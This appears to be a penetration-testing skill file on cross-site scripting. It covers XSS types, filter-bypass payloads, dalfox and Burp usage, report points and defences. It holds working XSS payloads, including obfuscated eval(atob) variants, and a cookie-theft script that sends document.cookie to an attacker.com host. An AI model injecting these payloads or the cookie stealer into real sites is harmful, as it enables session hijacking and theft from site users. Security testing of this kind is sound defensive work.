xss-testing

XSS Testing Skills

Overview

Cross-site scripting (XSS) allows attackers to execute malicious JavaScript code in the victim's browser. This skill covers testing methods for reflected, stored, and DOM-based XSS.

XSS Types

1. Reflected XSS

• Malicious scripts are passed through URL parameters
• The server directly returns a response containing the script
• Requires the user to click a malicious link

2. Stored XSS

• Malicious scripts are stored on the server (database, files, etc.)
• All users who visit the affected page will execute the script
• Greater scope of impact

3. DOM-based XSS

• Client-side JavaScript mishandles user input
• Does not involve server-side processing
• Triggered by modifying the DOM structure

Testing Methods

Basic Payload

<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>

Bypassing Filters

Case Bypass

<ScRiPt>alert('XSS')</ScRiPt>

Encoding Bypass

%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>

Event Handlers

<img src=x onerror=alert(String.fromCharCode(88,83,83))>
<div onmouseover=alert('XSS')>hover</div>
<input onfocus=alert('XSS') autofocus>

Pseudo-protocols

<a href="javascript:alert('XSS')">click</a>
<iframe src="javascript:alert('XSS')">

Advanced Bypass Techniques

Using String.fromCharCode

<script>alert(String.fromCharCode(88,83,83))</script>

Using eval and atob

<script>eval(atob('YWxlcnQoJ1hTUycp'))</script>

Using HTML Entities

<script>alert('XSS')</script>

Tool Usage

dalfox

# 基础扫描
dalfox url "http://target.com/page?q=test"

# 指定参数
dalfox url "http://target.com/page" -d "q=test" -X POST

# 使用自定义payload
dalfox url "http://target.com/page?q=test" --custom-payload payloads.txt

Burp Suite

• Use the Intruder module for batch testing
• Use Repeater for manual testing
• Use Scanner for automatic detection

Browser Console

• Test DOM-based XSS
• Check the JavaScript execution environment
• Debug payloads

Verification and Exploitation

Verification Steps

1. Confirm that the payload is executed
2. Check whether it is filtered or encoded
3. Test different contexts (HTML, JavaScript, attributes, etc.)
4. Assess impact (Cookie theft, session hijacking, etc.)

Exploitation Scenarios

• Cookie theft:<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
• Keylogging: inject keyboard event listeners
• Phishing attacks: forge login forms
• Session hijacking: obtain user session tokens

Report Key Points

• XSS type (reflected/stored/DOM)
• Trigger location and parameters
• Complete POC
• Impact assessment
• Remediation recommendations (output encoding, CSP policy, etc.)

Protective Measures

• Input validation and filtering
• Output encoding (HTML, JavaScript, URL)
• Content Security Policy (CSP)
• HttpOnly Cookie flag
• Use secure frameworks and libraries